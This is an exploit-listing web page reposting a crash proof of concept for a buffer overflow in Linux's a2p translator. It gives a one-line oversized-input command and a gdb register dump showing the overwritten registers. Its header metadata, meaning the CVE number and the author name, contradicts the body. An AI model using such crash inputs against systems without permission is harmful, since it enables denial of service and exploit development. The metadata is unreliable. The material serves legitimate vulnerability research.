Advertisement






Linux Awk To Perl Translator Buffer Overflow

CVE Category Price Severity
CVE-2004-0113 CWE-119 $5000 High
Author Risk Exploitation Type Date
David Litchfield High Local 2018-07-09
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018070094

Below is a copy:

Linux Awk To Perl Translator Buffer Overflow
#
#
#  Linux Awk to Perl translator `/usr/bin/a2p` Buffer Overflow (PoC)
#
#  Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>
#
#
#  https://ethical-hacker.org/
#  https://facebook.com/ethicalhackerorg
#
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#
#   
#  Use them at your own risk!
#
# 

[todor@adamantium ~]$ python -c "print 'A' * 2070" | a2p > /dev/null
Segmentation fault
[todor@adamantium ~]$ gdb a2p --quiet
Reading symbols from /usr/bin/a2p...(no debugging symbols found)...done.
Missing separate debuginfos, use: debuginfo-install *SNIPED*
(gdb) r bof
Starting program: /usr/bin/a2p bof
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x0074ee65 in fgets () from /lib/libc.so.6
(gdb) info reg
eax            0x10604192
ecx            0x11
edx            0x414141411094795585
ebx            0x880ff48916980
esp            0xbffff0f00xbffff0f0
ebp            0xbffff1180xbffff118
esi            0x414141411094795585
edi            0x8062920134621472
eip            0x74ee650x74ee65 <fgets+53>
eflags         0x210216[ PF AF IF RF ID ]
cs             0x73115
ss             0x7b123
ds             0x7b123
es             0x7b123
fs             0x00
gs             0x3351
(gdb) 

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum